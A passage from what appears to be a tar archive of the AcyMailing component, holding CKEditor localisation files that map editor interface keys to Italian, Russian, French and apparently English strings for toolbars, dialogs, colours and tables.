number."},"indent":{"indent":"Increase Indent","outdent":"Decrease Indent"},"justify":{"block":"Justify","center":"Center","left":"Align Left","right":"Align Right"},"fakeobjects":{"anchor":"Anchor","flash":"Flash Animation","hiddenfield":"Hidden Field","iframe":"IFrame","unknown":"Unknown Object"},"link":{"acccessKey":"Access Key","advanced":"Advanced","advisoryContentType":"Advisory Content Type","advisoryTitle":"Advisory Title","anchor":{"toolbar":"Anchor","menu":"Edit Anchor","title":"Anchor Properties","name":"Anchor Name","errorName":"Please type the anchor name","remove":"Remove Anchor"},"anchorId":"By Element Id","anchorName":"By Anchor Name","charset":"Linked Resource Charset","cssClasses":"Stylesheet Classes","emailAddress":"E-Mail Address","emailBody":"Message Body","emailSubject":"Message Subject","id":"Id","info":"Link Info","langCode":"Language Code","langDir":"Language Direction","langDirLTR":"Left to Right (LTR)","langDirRTL":"Right to Left (RTL)","menu":"Edit Link","name":"Name","noAnchors":"(No anchors available in the document)","noEmail":"Please type the e-mail address","noUrl":"Please type the link URL","other":"<other>","popupDependent":"Dependent (Netscape)","popupFeatures":"Popup Window Features","popupFullScreen":"Full Screen (IE)","popupLeft":"Left Position","popupLocationBar":"Location Bar","popupMenuBar":"Menu Bar","popupResizable":"Resizable","popupScrollBars":"Scroll Bars","popupStatusBar":"Status Bar","popupToolbar":"Toolbar","popupTop":"Top Position","rel":"Relationship","selectAnchor":"Select an Anchor","styles":"Style","tabIndex":"Tab Index","target":"Target","targetFrame":"<frame>","targetFrameName":"Target Frame Name","targetPopup":"<popup window>","targetPopupName":"Popup Window Name","title":"Link","toAnchor":"Link to anchor in the text","toEmail":"E-mail","toUrl":"URL","toolbar":"Link","type":"Link Type","unlink":"Unlink","upload":"Upload"},"list":{"bulletedlist":"Insert/Remove Bulleted List","numberedlist":"Insert/Remove Numbered List"},"maximize":{"maximize":"Maximize","minimize":"Minimize"},"pastefromword":{"confirmCleanup":"The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?","error":"It was not possible to clean up the pasted data due to an internal error","title":"Paste from Word","toolbar":"Paste from Word"},"pastetext":{"button":"Paste as plain text","title":"Paste as Plain Text"},"removeformat":{"toolbar":"Remove Format"},"sourcearea":{"toolbar":"Source"},"stylescombo":{"label":"Styles","panelTitle":"Formatting Styles","panelTitle1":"Block Styles","panelTitle2":"Inline Styles","panelTitle3":"Object Styles"},"table":{"border":"Border size","caption":"Caption","cell":{"menu":"Cell","insertBefore":"Insert Cell Before","insertAfter":"Insert Cell After","deleteCell":"Delete Cells","merge":"Merge Cells","mergeRight":"Merge Right","mergeDown":"Merge Down","splitHorizontal":"Split Cell Horizontally","splitVertical":"Split Cell Vertically","title":"Cell Properties","cellType":"Cell Type","rowSpan":"Rows Span","colSpan":"Columns Span","wordWrap":"Word Wrap","hAlign":"Horizontal Alignment","vAlign":"Vertical Alignment","alignBaseline":"Baseline","bgColor":"Background Color","borderColor":"Border Color","data":"Data","header":"Header","yes":"Yes","no":"No","invalidWidth":"Cell width must be a number.","invalidHeight":"Cell height must be a number.","invalidRowSpan":"Rows span must be a whole number.","invalidColSpan":"Columns span must be a whole number.","chooseColor":"Choose"},"cellPad":"Cell padding","cellSpace":"Cell spacing","column":{"menu":"Column","insertBefore":"Insert Column Before","insertAfter":"Insert Column After","deleteColumn":"Delete Columns"},"columns":"Columns","deleteTable":"Delete Table","headers":"Headers","headersBoth":"Both","headersColumn":"First column","headersNone":"None","headersRow":"First Row","invalidBorder":"Border size must be a number.","invalidCellPadding":"Cell padding must be a positive number.","invalidCellSpacing":"Cell spacing must be a positive number.","invalidCols":"Number of columns must be a number greater than 0.","invalidHeight":"Table height must be a number.","invalidRows":"Number of rows must be a number greater than 0.","invalidWidth":"Table width must be a number.","menu":"Table Properties","row":{"menu":"Row","insertBefore":"Insert Row Before","insertAfter":"Insert Row After","deleteRow":"Delete Rows"},"rows":"Rows","summary":"Summary","title":"Table Properties","toolbar":"Table","widthPc":"percent","widthPx":"pixels","widthUnit":"width unit"},"toolbar":{"toolbarCollapse":"Collapse Toolbar","toolbarExpand":"Expand Toolbar","toolbarGroups":{"document":"Document","clipboard":"Clipboard/Undo","editing":"Editing","forms":"Forms","basicstyles":"Basic Styles","paragraph":"Paragraph","links":"Links","insert":"Insert","styles":"Styles","colors":"Colors","tools":"Tools"},"toolbars":"Editor toolbars"},"undo":{"redo":"Redo","undo":"Undo"},"sourcedialog":{"toolbar":"Source","title":"Source"},"acymediabrowser":{"toolbar":"Images"},"addtag":{"toolbar":"Tags"},"smiley":{"toolbar":"Emojis"}};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/it.js000060400000027440152455305310023764 0ustar00CKEDITOR.lang['it']={"editor":"Rich Text Editor","editorPanel":"Pannello Rich Text Editor","common":{"editorHelp":"Premi ALT 0 per aiuto","browseServer":"Cerca sul server","url":"URL","protocol":"Protocollo","upload":"Carica","uploadSubmit":"Invia al server","image":"Immagine","flash":"Oggetto Flash","form":"Modulo","checkbox":"Checkbox","radio":"Radio Button","textField":"Campo di testo","textarea":"Area di testo","hiddenField":"Campo nascosto","button":"Bottone","select":"Menu di selezione","imageButton":"Bottone immagine","notSet":"<non impostato>","id":"Id","name":"Nome","langDir":"Direzione scrittura","langDirLtr":"Da Sinistra a Destra (LTR)","langDirRtl":"Da Destra a Sinistra (RTL)","langCode":"Codice Lingua","longDescr":"URL descrizione estesa","cssClass":"Nome classe CSS","advisoryTitle":"Titolo","cssStyle":"Stile","ok":"OK","cancel":"Annulla","close":"Chiudi","preview":"Anteprima","resize":"Trascina per ridimensionare","generalTab":"Generale","advancedTab":"Avanzate","validateNumberFailed":"Il valore inserito non è un numero.","confirmNewPage":"Ogni modifica non salvata sarà persa. Sei sicuro di voler caricare una nuova pagina?","confirmCancel":"Alcune delle opzioni sono state cambiate. Sei sicuro di voler chiudere la finestra di dialogo?","options":"Opzioni","target":"Destinazione","targetNew":"Nuova finestra (_blank)","targetTop":"Finestra in primo piano (_top)","targetSelf":"Stessa finestra (_self)","targetParent":"Finestra Padre (_parent)","langDirLTR":"Da sinistra a destra (LTR)","langDirRTL":"Da destra a sinistra (RTL)","styles":"Stile","cssClasses":"Classi di stile","width":"Larghezza","height":"Altezza","align":"Allineamento","alignLeft":"Sinistra","alignRight":"Destra","alignCenter":"Centrato","alignJustify":"Giustifica","alignTop":"In Alto","alignMiddle":"Centrato","alignBottom":"In Basso","alignNone":"Nessuno","invalidValue":"Valore non valido.","invalidHeight":"L'altezza dev'essere un numero","invalidWidth":"La Larghezza dev'essere un numero","invalidCssLength":"Il valore indicato per il campo \"%1\" deve essere un numero positivo con o senza indicazione di una valida unità di misura per le classi CSS (px, %, in, cm, mm, em, ex, pt, o pc).","invalidHtmlLength":"Il valore indicato per il campo \"%1\" deve essere un numero positivo con o senza indicazione di una valida unità di misura per le pagine HTML (px o %).","invalidInlineStyle":"Il valore specificato per lo stile inline deve consistere in una o più tuple con il formato di \"name : value\", separati da semicolonne.","cssLengthTooltip":"Inserisci un numero per il valore in pixel oppure un numero con una valida unità CSS (px, %, in, cm, mm, ex, pt, o pc).","unavailable":"%1<span class=\"cke_accessibility\">, non disponibile</span>"},"basicstyles":{"bold":"Grassetto","italic":"Corsivo","strike":"Barrato","subscript":"Pedice","superscript":"Apice","underline":"Sottolineato"},"blockquote":{"toolbar":"Citazione"},"clipboard":{"copy":"Copia","copyError":"Le impostazioni di sicurezza del browser non permettono di copiare automaticamente il testo. Usa la tastiera (Ctrl/Cmd+C).","cut":"Taglia","cutError":"Le impostazioni di sicurezza del browser non permettono di tagliare automaticamente il testo. Usa la tastiera (Ctrl/Cmd+X).","paste":"Incolla","pasteArea":"Incolla","pasteMsg":"Incolla il testo all'interno dell'area sottostante usando la scorciatoia di tastiere (<STRONG>Ctrl/Cmd+V</STRONG>) e premi <STRONG>OK</STRONG>.","securityMsg":"A causa delle impostazioni di sicurezza del browser,l'editor non è in grado di accedere direttamente agli appunti. E' pertanto necessario incollarli di nuovo in questa finestra.","title":"Incolla"},"button":{"selectedLabel":"%1 (selezionato)"},"colorbutton":{"auto":"Automatico","bgColorTitle":"Colore sfondo","colors":{"000":"Nero","800000":"Marrone Castagna","8B4513":"Marrone Cuoio","2F4F4F":"Grigio Fumo di Londra","008080":"Acquamarina","000080":"Blu Oceano","4B0082":"Indigo","696969":"Grigio Scuro","B22222":"Giallo Fiamma","A52A2A":"Marrone","DAA520":"Giallo Mimosa","006400":"Verde Scuro","40E0D0":"Turchese","0000CD":"Blue Scuro","800080":"Viola","808080":"Grigio","F00":"Rosso","FF8C00":"Arancio Scuro","FFD700":"Oro","008000":"Verde","0FF":"Ciano","00F":"Blu","EE82EE":"Violetto","A9A9A9":"Grigio Scuro","FFA07A":"Salmone","FFA500":"Arancio","FFFF00":"Giallo","00FF00":"Lime","AFEEEE":"Turchese Chiaro","ADD8E6":"Blu Chiaro","DDA0DD":"Rosso Ciliegia","D3D3D3":"Grigio Chiaro","FFF0F5":"Lavanda Chiara","FAEBD7":"Bianco Antico","FFFFE0":"Giallo Chiaro","F0FFF0":"Verde Mela","F0FFFF":"Azzurro","F0F8FF":"Celeste","E6E6FA":"Lavanda","FFF":"Bianco"},"more":"Altri colori...","panelTitle":"Colori","textColorTitle":"Colore testo"},"colordialog":{"clear":"cancella","highlight":"Evidenzia","options":"Opzioni colore","selected":"Seleziona il colore","title":"Selezionare il colore"},"contextmenu":{"options":"Opzioni del menù contestuale"},"elementspath":{"eleLabel":"Percorso degli elementi","eleTitle":"%1 elemento"},"font":{"fontSize":{"label":"Dimensione","voiceLabel":"Dimensione Carattere","panelTitle":"Dimensione"},"label":"Carattere","panelTitle":"Carattere","voiceLabel":"Carattere"},"format":{"label":"Formato","panelTitle":"Formato","tag_address":"Indirizzo","tag_div":"Paragrafo (DIV)","tag_h1":"Titolo 1","tag_h2":"Titolo 2","tag_h3":"Titolo 3","tag_h4":"Titolo 4","tag_h5":"Titolo 5","tag_h6":"Titolo 6","tag_p":"Normale","tag_pre":"Formattato"},"horizontalrule":{"toolbar":"Inserisci riga orizzontale"},"image":{"alertUrl":"Devi inserire l'URL per l'immagine","alt":"Testo alternativo","border":"Bordo","btnUpload":"Invia al server","button2Img":"Vuoi trasformare il bottone immagine selezionato in un'immagine semplice?","hSpace":"HSpace","img2Button":"Vuoi trasferomare l'immagine selezionata in un bottone immagine?","infoTab":"Informazioni immagine","linkTab":"Collegamento","lockRatio":"Blocca rapporto","menu":"Proprietà immagine","resetSize":"Reimposta dimensione","title":"Proprietà immagine","titleButton":"Proprietà bottone immagine","upload":"Carica","urlMissing":"Manca l'URL dell'immagine.","vSpace":"VSpace","validateBorder":"Il campo Bordo deve essere un numero intero.","validateHSpace":"Il campo HSpace deve essere un numero intero.","validateVSpace":"Il campo VSpace deve essere un numero intero."},"indent":{"indent":"Aumenta rientro","outdent":"Riduci rientro"},"justify":{"block":"Giustifica","center":"Centra","left":"Allinea a sinistra","right":"Allinea a destra"},"fakeobjects":{"anchor":"Ancora","flash":"Animazione Flash","hiddenfield":"Campo Nascosto","iframe":"IFrame","unknown":"Oggetto sconosciuto"},"link":{"acccessKey":"Scorciatoia da tastiera","advanced":"Avanzate","advisoryContentType":"Tipo della risorsa collegata","advisoryTitle":"Titolo","anchor":{"toolbar":"Inserisci/Modifica Ancora","menu":"Proprietà ancora","title":"Proprietà ancora","name":"Nome ancora","errorName":"Inserici il nome dell'ancora","remove":"Rimuovi l'ancora"},"anchorId":"Per id elemento","anchorName":"Per Nome","charset":"Set di caretteri della risorsa collegata","cssClasses":"Nome classe CSS","emailAddress":"Indirizzo E-Mail","emailBody":"Corpo del messaggio","emailSubject":"Oggetto del messaggio","id":"Id","info":"Informazioni collegamento","langCode":"Direzione scrittura","langDir":"Direzione scrittura","langDirLTR":"Da Sinistra a Destra (LTR)","langDirRTL":"Da Destra a Sinistra (RTL)","menu":"Modifica collegamento","name":"Nome","noAnchors":"(Nessuna ancora disponibile nel documento)","noEmail":"Devi inserire un'indirizzo e-mail","noUrl":"Devi inserire l'URL del collegamento","other":"<altro>","popupDependent":"Dipendente (Netscape)","popupFeatures":"Caratteristiche finestra popup","popupFullScreen":"A tutto schermo (IE)","popupLeft":"Posizione da sinistra","popupLocationBar":"Barra degli indirizzi","popupMenuBar":"Barra del menu","popupResizable":"Ridimensionabile","popupScrollBars":"Barre di scorrimento","popupStatusBar":"Barra di stato","popupToolbar":"Barra degli strumenti","popupTop":"Posizione dall'alto","rel":"Relazioni","selectAnchor":"Scegli Ancora","styles":"Stile","tabIndex":"Ordine di tabulazione","target":"Destinazione","targetFrame":"<riquadro>","targetFrameName":"Nome del riquadro di destinazione","targetPopup":"<finestra popup>","targetPopupName":"Nome finestra popup","title":"Collegamento","toAnchor":"Ancora nel testo","toEmail":"E-Mail","toUrl":"URL","toolbar":"Collegamento","type":"Tipo di Collegamento","unlink":"Elimina collegamento","upload":"Carica"},"list":{"bulletedlist":"Inserisci/Rimuovi Elenco Puntato","numberedlist":"Inserisci/Rimuovi Elenco Numerato"},"maximize":{"maximize":"Massimizza","minimize":"Minimizza"},"pastefromword":{"confirmCleanup":"Il testo da incollare sembra provenire da Word. Desideri pulirlo prima di incollare?","error":"Non è stato possibile eliminare il testo incollato a causa di un errore interno.","title":"Incolla da Word","toolbar":"Incolla da Word"},"pastetext":{"button":"Incolla come testo semplice","title":"Incolla come testo semplice"},"removeformat":{"toolbar":"Elimina formattazione"},"sourcearea":{"toolbar":"Sorgente"},"stylescombo":{"label":"Stili","panelTitle":"Stili di formattazione","panelTitle1":"Stili per blocchi","panelTitle2":"Stili in linea","panelTitle3":"Stili per oggetti"},"table":{"border":"Dimensione bordo","caption":"Intestazione","cell":{"menu":"Cella","insertBefore":"Inserisci Cella Prima","insertAfter":"Inserisci Cella Dopo","deleteCell":"Elimina celle","merge":"Unisce celle","mergeRight":"Unisci a Destra","mergeDown":"Unisci in Basso","splitHorizontal":"Dividi Cella Orizzontalmente","splitVertical":"Dividi Cella Verticalmente","title":"Proprietà della cella","cellType":"Tipo di cella","rowSpan":"Su più righe","colSpan":"Su più colonne","wordWrap":"Ritorno a capo","hAlign":"Allineamento orizzontale","vAlign":"Allineamento verticale","alignBaseline":"Linea Base","bgColor":"Colore di Sfondo","borderColor":"Colore del Bordo","data":"Dati","header":"Intestazione","yes":"Si","no":"No","invalidWidth":"La larghezza della cella dev'essere un numero.","invalidHeight":"L'altezza della cella dev'essere un numero.","invalidRowSpan":"Il numero di righe dev'essere un numero intero.","invalidColSpan":"Il numero di colonne dev'essere un numero intero.","chooseColor":"Scegli"},"cellPad":"Padding celle","cellSpace":"Spaziatura celle","column":{"menu":"Colonna","insertBefore":"Inserisci Colonna Prima","insertAfter":"Inserisci Colonna Dopo","deleteColumn":"Elimina colonne"},"columns":"Colonne","deleteTable":"Cancella Tabella","headers":"Intestazione","headersBoth":"Entrambe","headersColumn":"Prima Colonna","headersNone":"Nessuna","headersRow":"Prima Riga","invalidBorder":"La dimensione del bordo dev'essere un numero.","invalidCellPadding":"Il paging delle celle dev'essere un numero","invalidCellSpacing":"La spaziatura tra le celle dev'essere un numero.","invalidCols":"Il numero di colonne dev'essere un numero maggiore di 0.","invalidHeight":"L'altezza della tabella dev'essere un numero.","invalidRows":"Il numero di righe dev'essere un numero maggiore di 0.","invalidWidth":"La larghezza della tabella dev'essere un numero.","menu":"Proprietà tabella","row":{"menu":"Riga","insertBefore":"Inserisci Riga Prima","insertAfter":"Inserisci Riga Dopo","deleteRow":"Elimina righe"},"rows":"Righe","summary":"Indice","title":"Proprietà tabella","toolbar":"Tabella","widthPc":"percento","widthPx":"pixel","widthUnit":"unità larghezza"},"toolbar":{"toolbarCollapse":"Minimizza Toolbar","toolbarExpand":"Espandi Toolbar","toolbarGroups":{"document":"Documento","clipboard":"Copia negli appunti/Annulla","editing":"Modifica","forms":"Form","basicstyles":"Stili di base","paragraph":"Paragrafo","links":"Link","insert":"Inserisci","styles":"Stili","colors":"Colori","tools":"Strumenti"},"toolbars":"Editor toolbar"},"undo":{"redo":"Ripristina","undo":"Annulla"},"sourcedialog":{"toolbar":"Sorgente","title":"Sorgente"},"acymediabrowser":{"toolbar":"Immagine"},"addtag":{"toolbar":"Tags"},"smiley":{"toolbar":"Emojis"}};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/ru.js000060400000042347152455305310024001 0ustar00CKEDITOR.lang['ru']={"editor":"Визуальный текстовый редактор","editorPanel":"Визуальный редактор текста","common":{"editorHelp":"Нажмите ALT-0 для открытия справки","browseServer":"Выбор на сервере","url":"Ссылка","protocol":"Протокол","upload":"Загрузка файла","uploadSubmit":"Загрузить на сервер","image":"Изображение","flash":"Flash","form":"Форма","checkbox":"Чекбокс","radio":"Радиокнопка","textField":"Текстовое поле","textarea":"Многострочное текстовое поле","hiddenField":"Скрытое поле","button":"Кнопка","select":"Выпадающий список","imageButton":"Кнопка-изображение","notSet":"<не указано>","id":"Идентификатор","name":"Имя","langDir":"Направление текста","langDirLtr":"Слева направо (LTR)","langDirRtl":"Справа налево (RTL)","langCode":"Код языка","longDescr":"Длинное описание ссылки","cssClass":"Класс CSS","advisoryTitle":"Заголовок","cssStyle":"Стиль","ok":"ОК","cancel":"Отмена","close":"Закрыть","preview":"Предпросмотр","resize":"Перетащите для изменения размера","generalTab":"Основное","advancedTab":"Дополнительно","validateNumberFailed":"Это значение не является числом.","confirmNewPage":"Несохранённые изменения будут потеряны! Вы действительно желаете перейти на другую страницу?","confirmCancel":"Некоторые параметры были изменены. Вы уверены, что желаете закрыть без сохранения?","options":"Параметры","target":"Цель","targetNew":"Новое окно (_blank)","targetTop":"Главное окно (_top)","targetSelf":"Текущее окно (_self)","targetParent":"Родительское окно (_parent)","langDirLTR":"Слева направо (LTR)","langDirRTL":"Справа налево (RTL)","styles":"Стиль","cssClasses":"CSS классы","width":"Ширина","height":"Высота","align":"Выравнивание","alignLeft":"По левому краю","alignRight":"По правому краю","alignCenter":"По центру","alignJustify":"По ширине","alignTop":"Поверху","alignMiddle":"Посередине","alignBottom":"Понизу","alignNone":"Нет","invalidValue":"Недопустимое значение.","invalidHeight":"Высота задается числом.","invalidWidth":"Ширина задается числом.","invalidCssLength":"Значение, указанное в поле \"%1\", должно быть положительным целым числом. Допускается указание единиц меры CSS (px, %, in, cm, mm, em, ex, pt или pc).","invalidHtmlLength":"Значение, указанное в поле \"%1\", должно быть положительным целым числом. Допускается указание единиц меры HTML (px или %).","invalidInlineStyle":"Значение, указанное для стиля элемента, должно состоять из одной или нескольких пар данных в формате \"параметр : значение\", разделённых точкой с запятой.","cssLengthTooltip":"Введите значение в пикселях, либо число с корректной единицей меры CSS (px, %, in, cm, mm, em, ex, pt или pc).","unavailable":"%1<span class=\"cke_accessibility\">, недоступно</span>"},"basicstyles":{"bold":"Полужирный","italic":"Курсив","strike":"Зачеркнутый","subscript":"Подстрочный индекс","superscript":"Надстрочный индекс","underline":"Подчеркнутый"},"blockquote":{"toolbar":"Цитата"},"clipboard":{"copy":"Копировать","copyError":"Настройки безопасности вашего браузера не разрешают редактору выполнять операции по копированию текста. Пожалуйста, используйте для этого клавиатуру (Ctrl/Cmd+C).","cut":"Вырезать","cutError":"Настройки безопасности вашего браузера не разрешают редактору выполнять операции по вырезке текста. Пожалуйста, используйте для этого клавиатуру (Ctrl/Cmd+X).","paste":"Вставить","pasteArea":"Зона для вставки","pasteMsg":"Пожалуйста, вставьте текст в зону ниже, используя клавиатуру (<strong>Ctrl/Cmd+V</strong>) и нажмите кнопку \"OK\".","securityMsg":"Настройки безопасности вашего браузера не разрешают редактору напрямую обращаться к буферу обмена. Вы должны вставить текст снова в это окно.","title":"Вставить"},"button":{"selectedLabel":"%1 (Выбрано)"},"colorbutton":{"auto":"Автоматически","bgColorTitle":"Цвет фона","colors":{"000":"Чёрный","800000":"Бордовый","8B4513":"Кожано-коричневый","2F4F4F":"Темный синевато-серый","008080":"Сине-зелёный","000080":"Тёмно-синий","4B0082":"Индиго","696969":"Тёмно-серый","B22222":"Кирпичный","A52A2A":"Коричневый","DAA520":"Золотисто-берёзовый","006400":"Темно-зелёный","40E0D0":"Бирюзовый","0000CD":"Умеренно синий","800080":"Пурпурный","808080":"Серый","F00":"Красный","FF8C00":"Темно-оранжевый","FFD700":"Золотистый","008000":"Зелёный","0FF":"Васильковый","00F":"Синий","EE82EE":"Фиолетовый","A9A9A9":"Тускло-серый","FFA07A":"Светло-лососевый","FFA500":"Оранжевый","FFFF00":"Жёлтый","00FF00":"Лайма","AFEEEE":"Бледно-синий","ADD8E6":"Свелто-голубой","DDA0DD":"Сливовый","D3D3D3":"Светло-серый","FFF0F5":"Розово-лавандовый","FAEBD7":"Античный белый","FFFFE0":"Светло-жёлтый","F0FFF0":"Медвяной росы","F0FFFF":"Лазурный","F0F8FF":"Бледно-голубой","E6E6FA":"Лавандовый","FFF":"Белый"},"more":"Ещё цвета...","panelTitle":"Цвета","textColorTitle":"Цвет текста"},"colordialog":{"clear":"Очистить","highlight":"Под курсором","options":"Настройки цвета","selected":"Выбранный цвет","title":"Выберите цвет"},"contextmenu":{"options":"Параметры контекстного меню"},"elementspath":{"eleLabel":"Путь элементов","eleTitle":"Элемент %1"},"font":{"fontSize":{"label":"Размер","voiceLabel":"Размер шрифта","panelTitle":"Размер шрифта"},"label":"Шрифт","panelTitle":"Шрифт","voiceLabel":"Шрифт"},"format":{"label":"Форматирование","panelTitle":"Форматирование","tag_address":"Адрес","tag_div":"Обычное (div)","tag_h1":"Заголовок 1","tag_h2":"Заголовок 2","tag_h3":"Заголовок 3","tag_h4":"Заголовок 4","tag_h5":"Заголовок 5","tag_h6":"Заголовок 6","tag_p":"Обычное","tag_pre":"Моноширинное"},"horizontalrule":{"toolbar":"Вставить горизонтальную линию"},"image":{"alertUrl":"Пожалуйста, введите ссылку на изображение","alt":"Альтернативный текст","border":"Граница","btnUpload":"Загрузить на сервер","button2Img":"Вы желаете преобразовать это изображение-кнопку в обычное изображение?","hSpace":"Гориз. отступ","img2Button":"Вы желаете преобразовать это обычное изображение в изображение-кнопку?","infoTab":"Данные об изображении","linkTab":"Ссылка","lockRatio":"Сохранять пропорции","menu":"Свойства изображения","resetSize":"Вернуть обычные размеры","title":"Свойства изображения","titleButton":"Свойства изображения-кнопки","upload":"Загрузить","urlMissing":"Не указана ссылка на изображение.","vSpace":"Вертик. отступ","validateBorder":"Размер границ должен быть задан числом.","validateHSpace":"Горизонтальный отступ должен быть задан числом.","validateVSpace":"Вертикальный отступ должен быть задан числом."},"indent":{"indent":"Увеличить отступ","outdent":"Уменьшить отступ"},"justify":{"block":"По ширине","center":"По центру","left":"По левому краю","right":"По правому краю"},"fakeobjects":{"anchor":"Якорь","flash":"Flash анимация","hiddenfield":"Скрытое поле","iframe":"iFrame","unknown":"Неизвестный объект"},"link":{"acccessKey":"Клавиша доступа","advanced":"Дополнительно","advisoryContentType":"Тип содержимого","advisoryTitle":"Заголовок","anchor":{"toolbar":"Вставить / редактировать якорь","menu":"Изменить якорь","title":"Свойства якоря","name":"Имя якоря","errorName":"Пожалуйста, введите имя якоря","remove":"Удалить якорь"},"anchorId":"По идентификатору","anchorName":"По имени","charset":"Кодировка ресурса","cssClasses":"Классы CSS","emailAddress":"Email адрес","emailBody":"Текст сообщения","emailSubject":"Тема сообщения","id":"Идентификатор","info":"Информация о ссылке","langCode":"Код языка","langDir":"Направление текста","langDirLTR":"Слева направо (LTR)","langDirRTL":"Справа налево (RTL)","menu":"Редактировать ссылку","name":"Имя","noAnchors":"(В документе нет ни одного якоря)","noEmail":"Пожалуйста, введите email адрес","noUrl":"Пожалуйста, введите ссылку","other":"<другой>","popupDependent":"Зависимое (Netscape)","popupFeatures":"Параметры всплывающего окна","popupFullScreen":"Полноэкранное (IE)","popupLeft":"Отступ слева","popupLocationBar":"Панель адреса","popupMenuBar":"Панель меню","popupResizable":"Изменяемый размер","popupScrollBars":"Полосы прокрутки","popupStatusBar":"Строка состояния","popupToolbar":"Панель инструментов","popupTop":"Отступ сверху","rel":"Отношение","selectAnchor":"Выберите якорь","styles":"Стиль","tabIndex":"Последовательность перехода","target":"Цель","targetFrame":"<фрейм>","targetFrameName":"Имя целевого фрейма","targetPopup":"<всплывающее окно>","targetPopupName":"Имя всплывающего окна","title":"Ссылка","toAnchor":"Ссылка на якорь в тексте","toEmail":"Email","toUrl":"Ссылка","toolbar":"Вставить/Редактировать ссылку","type":"Тип ссылки","unlink":"Убрать ссылку","upload":"Загрузка"},"list":{"bulletedlist":"Вставить / удалить маркированный список","numberedlist":"Вставить / удалить нумерованный список"},"maximize":{"maximize":"Развернуть","minimize":"Свернуть"},"pastefromword":{"confirmCleanup":"Текст, который вы желаете вставить, по всей видимости, был скопирован из Word. Следует ли очистить его перед вставкой?","error":"Невозможно очистить вставленные данные из-за внутренней ошибки","title":"Вставить из Word","toolbar":"Вставить из Word"},"pastetext":{"button":"Вставить только текст","title":"Вставить только текст"},"removeformat":{"toolbar":"Убрать форматирование"},"sourcearea":{"toolbar":"Источник"},"stylescombo":{"label":"Стили","panelTitle":"Стили форматирования","panelTitle1":"Стили блока","panelTitle2":"Стили элемента","panelTitle3":"Стили объекта"},"table":{"border":"Размер границ","caption":"Заголовок","cell":{"menu":"Ячейка","insertBefore":"Вставить ячейку слева","insertAfter":"Вставить ячейку справа","deleteCell":"Удалить ячейки","merge":"Объединить ячейки","mergeRight":"Объединить с правой","mergeDown":"Объединить с нижней","splitHorizontal":"Разделить ячейку по горизонтали","splitVertical":"Разделить ячейку по вертикали","title":"Свойства ячейки","cellType":"Тип ячейки","rowSpan":"Объединяет строк","colSpan":"Объединяет колонок","wordWrap":"Перенос по словам","hAlign":"Горизонтальное выравнивание","vAlign":"Вертикальное выравнивание","alignBaseline":"По базовой линии","bgColor":"Цвет фона","borderColor":"Цвет границ","data":"Данные","header":"Заголовок","yes":"Да","no":"Нет","invalidWidth":"Ширина ячейки должна быть числом.","invalidHeight":"Высота ячейки должна быть числом.","invalidRowSpan":"Количество объединяемых строк должно быть задано числом.","invalidColSpan":"Количество объединяемых колонок должно быть задано числом.","chooseColor":"Выберите"},"cellPad":"Внутренний отступ ячеек","cellSpace":"Внешний отступ ячеек","column":{"menu":"Колонка","insertBefore":"Вставить колонку слева","insertAfter":"Вставить колонку справа","deleteColumn":"Удалить колонки"},"columns":"Колонки","deleteTable":"Удалить таблицу","headers":"Заголовки","headersBoth":"Сверху и слева","headersColumn":"Левая колонка","headersNone":"Без заголовков","headersRow":"Верхняя строка","invalidBorder":"Размер границ должен быть числом.","invalidCellPadding":"Внутренний отступ ячеек (cellpadding) должен быть числом.","invalidCellSpacing":"Внешний отступ ячеек (cellspacing) должен быть числом.","invalidCols":"Количество столбцов должно быть больше 0.","invalidHeight":"Высота таблицы должна быть числом.","invalidRows":"Количество строк должно быть больше 0.","invalidWidth":"Ширина таблицы должна быть числом.","menu":"Свойства таблицы","row":{"menu":"Строка","insertBefore":"Вставить строку сверху","insertAfter":"Вставить строку снизу","deleteRow":"Удалить строки"},"rows":"Строки","summary":"Итоги","title":"Свойства таблицы","toolbar":"Таблица","widthPc":"процентов","widthPx":"пикселей","widthUnit":"единица измерения"},"toolbar":{"toolbarCollapse":"Свернуть панель инструментов","toolbarExpand":"Развернуть панель инструментов","toolbarGroups":{"document":"Документ","clipboard":"Буфер обмена / Отмена действий","editing":"Корректировка","forms":"Формы","basicstyles":"Простые стили","paragraph":"Абзац","links":"Ссылки","insert":"Вставка","styles":"Стили","colors":"Цвета","tools":"Инструменты"},"toolbars":"Панели инструментов редактора"},"undo":{"redo":"Повторить","undo":"Отменить"},"sourcedialog":{"toolbar":"Исходник","title":"Источник"},"acymediabrowser":{"toolbar":"Изображение"},"addtag":{"toolbar":"Теги"},"smiley":{"toolbar":"Emojis"}};
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/lang/fr.js000060400000030011152455305310023743 0ustar00CKEDITOR.lang['fr']={"editor":"Éditeur de Texte Enrichi","editorPanel":"Tableau de bord de l'éditeur de texte enrichi","common":{"editorHelp":"Appuyez sur ALT-0 pour l'aide","browseServer":"Explorer le serveur","url":"URL","protocol":"Protocole","upload":"Envoyer","uploadSubmit":"Envoyer sur le serveur","image":"Image","flash":"Flash","form":"Formulaire","checkbox":"Case à cocher","radio":"Bouton Radio","textField":"Champ texte","textarea":"Zone de texte","hiddenField":"Champ caché","button":"Bouton","select":"Liste déroulante","imageButton":"Bouton image","notSet":"<non défini>","id":"Id","name":"Nom","langDir":"Sens d'écriture","langDirLtr":"Gauche à droite (LTR)","langDirRtl":"Droite à gauche (RTL)","langCode":"Code de langue","longDescr":"URL de description longue (longdesc => malvoyant)","cssClass":"Classe CSS","advisoryTitle":"Description (title)","cssStyle":"Style","ok":"OK","cancel":"Annuler","close":"Fermer","preview":"Aperçu","resize":"Déplacer pour modifier la taille","generalTab":"Général","advancedTab":"Avancé","validateNumberFailed":"Cette valeur n'est pas un nombre.","confirmNewPage":"Les changements non sauvegardés seront perdus. Êtes-vous sûr de vouloir charger une nouvelle page?","confirmCancel":"Certaines options ont été modifiées. Êtes-vous sûr de vouloir fermer?","options":"Options","target":"Cible (Target)","targetNew":"Nouvelle fenêtre (_blank)","targetTop":"Fenêtre supérieure (_top)","targetSelf":"Même fenêtre (_self)","targetParent":"Fenêtre parent (_parent)","langDirLTR":"Gauche à Droite (LTR)","langDirRTL":"Droite à Gauche (RTL)","styles":"Style","cssClasses":"Classes de 